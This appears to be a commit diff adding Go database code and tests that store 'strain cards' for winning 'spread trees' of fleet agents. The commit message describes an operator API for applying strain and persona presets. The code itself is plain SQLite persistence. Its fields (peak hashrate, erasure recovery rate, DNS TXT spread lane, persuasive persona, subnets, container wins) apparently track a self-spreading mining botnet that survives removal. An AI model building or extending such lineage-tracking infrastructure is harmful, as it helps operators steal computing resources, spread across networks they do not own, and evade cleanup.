Add lineage strain card generation and play API implementation.
Winning spread trees now persist StrainCard JSON and operators can apply strain/persona presets via POST /api/v1/fleet/play-strain-card with audit logging.
This commit is contained in:
196
server/internal/db/strain_cards.go
Normal file
196
server/internal/db/strain_cards.go
Normal file
@@ -0,0 +1,196 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// StoredStrainCard is a persisted lineage card for a winning spread tree.
|
||||
type StoredStrainCard struct {
|
||||
ID string
|
||||
RootAgentID string
|
||||
SourceAgentID string
|
||||
SourceAgentName string
|
||||
SpreadStrain string
|
||||
SpreadLane string
|
||||
Persona string
|
||||
CardJSON string
|
||||
PeakHashrate float64
|
||||
ErasureRecoveryRate float64
|
||||
TreeSize int
|
||||
CreatedAt time.Time
|
||||
UpdatedAt time.Time
|
||||
}
|
||||
|
||||
func (d *Database) UpsertStrainCard(rootAgentID, sourceAgentID string, cardJSON []byte, meta StoredStrainCard) (string, error) {
|
||||
if d == nil {
|
||||
return "", errors.New("database unavailable")
|
||||
}
|
||||
rootAgentID = strings.TrimSpace(rootAgentID)
|
||||
sourceAgentID = strings.TrimSpace(sourceAgentID)
|
||||
if rootAgentID == "" || sourceAgentID == "" || len(cardJSON) == 0 {
|
||||
return "", errors.New("strain card requires root, source, and JSON")
|
||||
}
|
||||
existing, err := d.GetStrainCardByRoot(rootAgentID)
|
||||
if err != nil && !errors.Is(err, sql.ErrNoRows) {
|
||||
return "", err
|
||||
}
|
||||
id := uuid.NewString()
|
||||
now := time.Now().UTC()
|
||||
if existing != nil {
|
||||
id = existing.ID
|
||||
if meta.PeakHashrate <= existing.PeakHashrate && existing.PeakHashrate > 0 {
|
||||
return id, nil
|
||||
}
|
||||
}
|
||||
if meta.ID != "" {
|
||||
id = meta.ID
|
||||
}
|
||||
_, err = d.Exec(
|
||||
`INSERT INTO strain_cards (
|
||||
id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
|
||||
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(root_agent_id) DO UPDATE SET
|
||||
source_agent_id = excluded.source_agent_id,
|
||||
source_agent_name = excluded.source_agent_name,
|
||||
spread_strain = excluded.spread_strain,
|
||||
spread_lane = excluded.spread_lane,
|
||||
persona = excluded.persona,
|
||||
card_json = excluded.card_json,
|
||||
peak_hashrate = excluded.peak_hashrate,
|
||||
erasure_recovery_rate = excluded.erasure_recovery_rate,
|
||||
tree_size = excluded.tree_size,
|
||||
updated_at = excluded.updated_at
|
||||
WHERE excluded.peak_hashrate >= strain_cards.peak_hashrate`,
|
||||
id, rootAgentID, sourceAgentID, meta.SourceAgentName, meta.SpreadStrain, meta.SpreadLane,
|
||||
meta.Persona, string(cardJSON), meta.PeakHashrate, meta.ErasureRecoveryRate, meta.TreeSize,
|
||||
now.Format(time.RFC3339), now.Format(time.RFC3339),
|
||||
)
|
||||
return id, err
|
||||
}
|
||||
|
||||
func (d *Database) GetStrainCard(id string) (*StoredStrainCard, error) {
|
||||
id = strings.TrimSpace(id)
|
||||
if id == "" {
|
||||
return nil, sql.ErrNoRows
|
||||
}
|
||||
row := d.QueryRow(
|
||||
`SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
|
||||
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
|
||||
FROM strain_cards WHERE id = ?`, id,
|
||||
)
|
||||
return scanStrainCard(row)
|
||||
}
|
||||
|
||||
func (d *Database) GetStrainCardByRoot(rootAgentID string) (*StoredStrainCard, error) {
|
||||
rootAgentID = strings.TrimSpace(rootAgentID)
|
||||
if rootAgentID == "" {
|
||||
return nil, sql.ErrNoRows
|
||||
}
|
||||
row := d.QueryRow(
|
||||
`SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
|
||||
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
|
||||
FROM strain_cards WHERE root_agent_id = ?`, rootAgentID,
|
||||
)
|
||||
return scanStrainCard(row)
|
||||
}
|
||||
|
||||
func (d *Database) ListStrainCardsForAgent(agentID string) ([]StoredStrainCard, error) {
|
||||
agentID = strings.TrimSpace(agentID)
|
||||
if agentID == "" {
|
||||
return nil, nil
|
||||
}
|
||||
rows, err := d.Query(
|
||||
`SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
|
||||
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
|
||||
FROM strain_cards
|
||||
WHERE root_agent_id = ? OR source_agent_id = ?
|
||||
ORDER BY peak_hashrate DESC, updated_at DESC`,
|
||||
agentID, agentID,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []StoredStrainCard
|
||||
for rows.Next() {
|
||||
c, err := scanStrainCardRow(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, *c)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
func (d *Database) ListStrainCards(limit int) ([]StoredStrainCard, error) {
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
rows, err := d.Query(
|
||||
`SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
|
||||
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
|
||||
FROM strain_cards ORDER BY updated_at DESC LIMIT ?`, limit,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []StoredStrainCard
|
||||
for rows.Next() {
|
||||
c, err := scanStrainCardRow(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, *c)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
type strainCardScanner interface {
|
||||
Scan(dest ...interface{}) error
|
||||
}
|
||||
|
||||
func scanStrainCard(row *sql.Row) (*StoredStrainCard, error) {
|
||||
return scanStrainCardRow(row)
|
||||
}
|
||||
|
||||
func scanStrainCardRow(row strainCardScanner) (*StoredStrainCard, error) {
|
||||
var c StoredStrainCard
|
||||
var createdAt, updatedAt string
|
||||
if err := row.Scan(
|
||||
&c.ID, &c.RootAgentID, &c.SourceAgentID, &c.SourceAgentName, &c.SpreadStrain, &c.SpreadLane,
|
||||
&c.Persona, &c.CardJSON, &c.PeakHashrate, &c.ErasureRecoveryRate, &c.TreeSize, &createdAt, &updatedAt,
|
||||
); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
c.CreatedAt = parseSQLiteTime(createdAt)
|
||||
c.UpdatedAt = parseSQLiteTime(updatedAt)
|
||||
return &c, nil
|
||||
}
|
||||
|
||||
func parseSQLiteTime(raw string) time.Time {
|
||||
if t, err := time.Parse(time.RFC3339, raw); err == nil {
|
||||
return t
|
||||
}
|
||||
if t, err := time.Parse("2006-01-02 15:04:05", raw); err == nil {
|
||||
return t.UTC()
|
||||
}
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
// DecodeStrainCardJSON unmarshals the stored card JSON blob.
|
||||
func DecodeStrainCardJSON(raw string) (map[string]interface{}, error) {
|
||||
out := map[string]interface{}{}
|
||||
if strings.TrimSpace(raw) == "" {
|
||||
return out, nil
|
||||
}
|
||||
err := json.Unmarshal([]byte(raw), &out)
|
||||
return out, err
|
||||
}
|
||||
81
server/internal/db/strain_cards_test.go
Normal file
81
server/internal/db/strain_cards_test.go
Normal file
@@ -0,0 +1,81 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestUpsertStrainCardRoundTrip(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = d.Close() })
|
||||
|
||||
cardJSON := []byte(`{
|
||||
"root_agent_id":"root-1",
|
||||
"source_agent_id":"leaf-1",
|
||||
"source_agent_name":"Leaf",
|
||||
"spread_lane":"dns_txt",
|
||||
"persona":"persuasive",
|
||||
"wins":["container"],
|
||||
"losses":["docker"],
|
||||
"subnets":["10.0.0.x","10.0.2.x"],
|
||||
"erasure_recovery_rate":1,
|
||||
"peak_hashrate":900,
|
||||
"tree_size":2
|
||||
}`)
|
||||
id, err := d.UpsertStrainCard("root-1", "leaf-1", cardJSON, StoredStrainCard{
|
||||
SourceAgentName: "Leaf",
|
||||
SpreadLane: "dns_txt",
|
||||
Persona: "persuasive",
|
||||
PeakHashrate: 900,
|
||||
ErasureRecoveryRate: 1,
|
||||
TreeSize: 2,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := d.GetStrainCard(id)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.RootAgentID != "root-1" || got.PeakHashrate != 900 {
|
||||
t.Fatalf("stored card: %+v", got)
|
||||
}
|
||||
list, err := d.ListStrainCardsForAgent("leaf-1")
|
||||
if err != nil || len(list) != 1 {
|
||||
t.Fatalf("list for agent: %v err=%v", list, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpsertStrainCardSkipsLowerHashrate(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = d.Close() })
|
||||
|
||||
card := map[string]interface{}{"root_agent_id": "root", "source_agent_id": "a1", "peak_hashrate": 500}
|
||||
raw, _ := json.Marshal(card)
|
||||
id1, err := d.UpsertStrainCard("root", "a1", raw, StoredStrainCard{PeakHashrate: 500})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
card["peak_hashrate"] = 100
|
||||
raw2, _ := json.Marshal(card)
|
||||
id2, err := d.UpsertStrainCard("root", "a1", raw2, StoredStrainCard{PeakHashrate: 100})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id1 != id2 {
|
||||
t.Fatalf("ids differ: %s vs %s", id1, id2)
|
||||
}
|
||||
got, err := d.GetStrainCardByRoot("root")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.PeakHashrate != 500 {
|
||||
t.Fatalf("peak hashrate regressed to %v", got.PeakHashrate)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user